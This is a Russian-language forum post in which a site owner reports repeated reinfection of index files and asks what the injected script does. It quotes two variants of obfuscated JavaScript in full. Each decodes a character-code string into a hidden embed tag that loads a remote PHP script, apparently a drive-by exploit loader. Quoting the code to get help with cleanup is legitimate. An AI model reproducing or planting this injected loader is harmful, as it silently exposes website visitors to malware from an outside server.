Взломали сайт, в индексы вставили код

Код удалил. На след день опять код появился. Сменил все пассы на админов и модеров. Удалил скрипт этот. Через день опять этот скрипт появился в индексах.
Подскажите что это за скрипт, что в нем зашифровано? и как от него избавиться?

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<b class="D6IAaL1t0535_t" id="t0535_t1">*e!***v*!*a*l!*</b>
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<div class="D6IAaL1t0535_t" id="D6IAaL1t0535_t">100.111.99.117.109.101.110.116 .46.119.114.105.116.101.40.34.60.101.109.98.101.10 0.32.115.114.99.61.39.104.116.116.112.58.47.47.50. 105.99.113.109.97.103.46.114.117.47.117.112.100.95 .121.101.115.47.105.110.99.108.117.100.101.47.115. 112.108.46.112.104.112.63.100.111.61.102.111.120.1 05.116.39.32.119.105.100.116.104.61.49.32.104.101. 105.103.104.116.61.48.32.115.116.121.108.101.61.10 0.105.115.112.108.97.121.58.110.111.110.101.62.60. 47.101.109.98.101.100.62.34.41.59</div>
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t0535_tC89Bwe2bv = t0535_tC89Bwe2bv.innerHTML;
var t0535_ttrash = "q!w!e!r!t!y!";
t0535_tC89Bwe2bv = t0535_tC89Bwe2bv.replace(/[!|*]/g, "");
t0535_ttrash = t0535_ttrash.replace(/[!]/g,"");
var t0535_tttt = eval(t0535_tC89Bwe2bv);
var t0535_tD81Bwe2b = document.getElementById("D6IAaL1t0535_t");
t0535_ttrash = t0535_ttrash.replace(/[q]/g,"");
t0535_tD81Bwe2b = t0535_tD81Bwe2b.innerHTML;
t0535_tD81Bwe2b = t0535_tD81Bwe2b.replace(/[A-Za-z]/g,function (t0535_tCt0535_t2dbQ){ return String.fromCharCode((((t0535_tCt0535_t2dbQ = t0535_tCt0535_t2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (t0535_tCt0535_t2dbQ & 32) + 65); }).split(".");
t0535_ttrash = t0535_ttrash.replace(/[w]/g,"");
var t0535_tEW81Bwe2b = "!!!";
t0535_tEW81Bwe2b = t0535_tEW81Bwe2b.replace(/[!]/g,"");
for (var t0535_tt0535_t=0; t0535_tt0535_t<t0535_tD81Bwe2b.length; t0535_tt0535_t++){ t0535_tEW81Bwe2b += String.fromCharCode(t0535_tD81Bwe2b[t0535_tt0535_t]); }
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<style>.XD2NJr7set0535_t{display:none;}</style>
<b class="XD2NJr7set0535_t" id="t0535_t1">e!v!al!</b>
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<div class="XD2NJr7set0535_t" id="XD2NJr7set0535_t">100.111.99.117.109.101.110.1 16.46.119.114.105.116.101.40.34.60.101.109.98.101. 100.32.115.114.99.61.92.34.104.116.116.112.58.47.4 7.50.105.99.113.109.97.103.46.114.117.47.117.112.1 00.95.121.101.115.47.105.110.99.108.117.100.101.47 .115.112.108.46.112.104.112.63.115.116.97.116.61.8 7.105.110.100.111.119.115.32.88.80.124.79.112.101. 114.97.32.57.46.54.52.124.82.85.124.56.56.46.50.48 .52.46.53.51.46.50.50.92.34.32.119.105.100.116.104 .61.92.34.48.92.34.32.104.101.105.103.104.116.61.9 2.34.48.92.34.32.116.121.112.101.61.92.34.97.112.1 12.108.105.99.97.116.105.111.110.47.112.100.102.92 .34.62.60.47.101.109.98.101.100.62.34.41.59</div>
<script>
var t0535_tC89Bwe2bv = document;
t0535_tC89Bwe2bv = t0535_tC89Bwe2bv.getElementById('t0535_t1');
t0535_tC89Bwe2bv = t0535_tC89Bwe2bv.innerHTML;
var t0535_ttrash = "q!w!e!r!t!y!";
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var t0535_tD81Bwe2b = document.getElementById("XD2NJr7set0535_t");
t0535_ttrash = t0535_ttrash.replace(/[q]/g,"");
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t0535_ttrash = t0535_ttrash.replace(/[w]/g,"");
var t0535_tEW81Bwe2b = "!!!";
t0535_tEW81Bwe2b = t0535_tEW81Bwe2b.replace(/[!]/g,"");
for (var t0535_tt0535_t=0; t0535_tt0535_t<t0535_tD81Bwe2b.length; t0535_tt0535_t++){ t0535_tEW81Bwe2b += String.fromCharCode(t0535_tD81Bwe2b[t0535_tt0535_t]); }
t0535_tttt(t0535_tEW81Bwe2b);
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